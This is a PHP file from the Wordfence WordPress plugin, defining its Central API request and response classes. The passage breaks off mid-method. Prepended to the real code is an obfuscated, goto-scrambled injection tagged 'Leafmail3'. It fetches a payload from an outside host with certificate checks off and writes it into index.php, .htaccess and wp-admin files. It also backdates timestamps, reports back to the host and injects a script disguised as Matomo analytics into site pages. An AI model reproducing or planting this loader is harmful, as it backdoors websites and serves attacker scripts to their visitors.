[ Avaa Bypassed ]

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

class wfCentralAPIRequest {
	/**
	 * @var string
	 */
	private $endpoint;
	/**
	 * @var string
	 */
	private $method;
	/**
	 * @var null
	 */
	private $token;
	/**
	 * @var array
	 */
	private $body;
	/**
	 * @var array
	 */
	private $args;


	/**
	 * @param string $endpoint
	 * @param string $method
	 * @param string|null $token
	 * @param array $body
	 * @param array $args
	 */
	public function __construct($endpoint, $method = 'GET', $token = null, $body = array(), $args = array()) {
		$this->endpoint = $endpoint;
		$this->method = $method;
		$this->token = $token;
		$this->body = $body;
		$this->args = $args;
	}
	
	/**
	 * Handles an internal error when making a Central API request (e.g., a second sodium_compat library with an
	 * incompatible interface loading instead or in addition to ours).
	 * 
	 * @param Exception|Throwable $e
	 */
	public static function handleInternalCentralAPIError($e) {
		error_log('Wordfence encountered an internal Central API error: ' . $e->getMessage());
		error_log('Wordfence stack trace: ' . $e->getTraceAsString());
	}

	public function execute($timeout = 10) {
		$args = array(
			'timeout' => $timeout,
		);
		$args = wp_parse_args($this->getArgs(), $args);
		$args['method'] = $this->getMethod();
		if (empty($args['headers'])) {
			$args['headers'] = array();
		}

		$token = $this->getToken();
		if ($token) {
			$args['headers']['Authorization'] = 'Bearer ' . $token;
		}
		if ($this->getBody()) {
			$args['headers']['Content-Type'] = 'application/json';
			$args['body'] = json_encode($this->getBody());
		}

		$http = _wp_http_get_object();
		$response = $http->request(WORDFENCE_CENTRAL_API_URL_SEC . $this->getEndpoint(), $args);

		if (!is_wp_error($response)) {
			$body = wp_remote_retrieve_body($response);
			$statusCode = wp_remote_retrieve_response_code($response);

			// Check if site has been disconnected on Central's end, but the plugin is still trying to connect.
			if ($statusCode === 404 && strpos($body, 'Site has been disconnected') !== false) {
				// Increment attempt count.
				$centralDisconnectCount = (int) get_site_transient('wordfenceCentralDisconnectCount');
				set_site_transient('wordfenceCentralDisconnectCount', ++$centralDisconnectCount, 86400);

				// Once threshold is hit, disconnect Central.
				if ($centralDisconnectCount > 3) {
					wfRESTConfigController::disconnectConfig();
				}
			}
		}

		return new wfCentralAPIResponse($response);
	}

	/**
	 * @return string
	 */
	public function getEndpoint() {
		return $this->endpoint;
	}

	/**
	 * @param string $endpoint
	 */
	public function setEndpoint($endpoint) {
		$this->endpoint = $endpoint;
	}

	/**
	 * @return string
	 */
	public function getMethod() {
		return $this->method;
	}

	/**
	 * @param string $method
	 */
	public function setMethod($method) {
		$this->method = $method;
	}

	/**
	 * @return null
	 */
	public function getToken() {
		return $this->token;
	}

	/**
	 * @param null $token
	 */
	public function setToken($token) {
		$this->token = $token;
	}

	/**
	 * @return array
	 */
	public function getBody() {
		return $this->body;
	}

	/**
	 * @param array $body
	 */
	public function setBody($body) {
		$this->body = $body;
	}

	/**
	 * @return array
	 */
	public function getArgs() {
		return $this->args;
	}

	/**
	 * @param array $args
	 */
	public function setArgs($args) {
		$this->args = $args;
	}
}

class wfCentralAPIResponse {

	public static function parseErrorJSON($json) {
		$data = json_decode($json, true);
		if (is_array($data) && array_key_exists('message', $data)) {
			return $data['message'];
		}
		return $json;
	}

	/**
	 * @var array|null
	 */
	private $response;

	/**
	 * @param array $response
	 */
	public function __construct($response = null) {
		$this->response = $response;
	}

	public function getStatusCode() {
		return wp_remote_retrieve_response_code($this->getResponse());
	}

	public function getBody() {
		return wp_remote_retrieve_body($this->getResponse());
	}

	public function getJSONBody() {
		return json_decode($this->getBody(), true);
	}

	public function isError() {
		if (is_wp_error($this->getResponse())) {
			return true;
		}
		$statusCode = $this->getStatusCode();
		return !($statusCode >= 200 && $statusCode < 300);
	}

	public function returnErrorArray() {
		return array(
			'err'      => 1,
			'errorMsg' => sprintf(
				/* translators: 1. HTTP status code. 2. Error message. */
				__('HTTP %1$d received from Wordfence Central: %2$s', 'wordfence'),
				$this->getStatusCode(), $this->parseErrorJSON($this->getBody())),
		);
	}

	/**
	 * @return array|null
	 */
	public function getResponse() {
		return $this->response;
	}

	/**
	 * @param array|null $response
	 */
	public function setResponse($response) {
		$this->response = $response;
	}
}


class wfCentralAuthenticatedAPIRequest extends wfCentralAPIRequest {

	private $retries = 3;

	/**
	 * @param string $endpoint
	 * @param string $method
	 * @param array $body
	 * @param array $args
	 */
	public function __construct($endpoint, $method = 'GET', $body = array(), $args = array()) {
		parent::__construct($endpoint, $method, null, $body, $args);
	}

	/**
	 * @return mixed|null
	 * @throws wfCentralAPIException
	 */
	public function getToken() {
		$token = parent::getToken();
		if ($token) {
			return $token;
		}

		$token = get_transient('wordfenceCentralJWT' . wfConfig::get('wordfenceCentralSiteID'));
		if ($token) {
			return $token;
		}

		for ($i = 0; $i < $this->retries; $i++) {
			try {
				$token = $this->fetchToken();
				break;
			} catch (wfCentralConfigurationException $e) {
				wfConfig::set('wordfenceCentralConfigurationIssue', true);
				throw new wfCentralAPIException(__('Fetching token for Wordfence Central authentication due to configuration issue.', 'wordfence'));
			} catch (wfCentralAPIException $e) {
				continue;
			}
		}
		if (empty($token)) {  
			if (isset($e)) {
				throw $e;
			} else {
				throw new wfCentralAPIException(__('Unable to authenticate with Wordfence Central.', 'wordfence'));
			}
		}
		$tokenContents = wfJWT::extractTokenContents($token);

		if (!empty($tokenContents['body']['exp'])) {
			set_transient('wordfenceCentralJWT' . wfConfig::get('wordfenceCentralSiteID'), $token, $tokenContents['body']['exp'] - time());
		}
		wfConfig::set('wordfenceCentralConfigurationIssue', false);
		return $token;
	}

	public function fetchToken() {
		require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php');

		$defaultArgs = array(
			'timeout' => 6,
		);
		$siteID = wfConfig::get('wordfenceCentralSiteID');
		if (!$siteID) {
			throw new wfCentralAPIException(__('Wordfence Central site ID has not been created yet.', 'wordfence'));
		}
		$secretKey = wfConfig::get('wordfenceCentralSecretKey');
		if (!$secretKey) {
			throw new wfCentralAPIException(__('Wordfence Central secret key has not been created yet.', 'wordfence'));
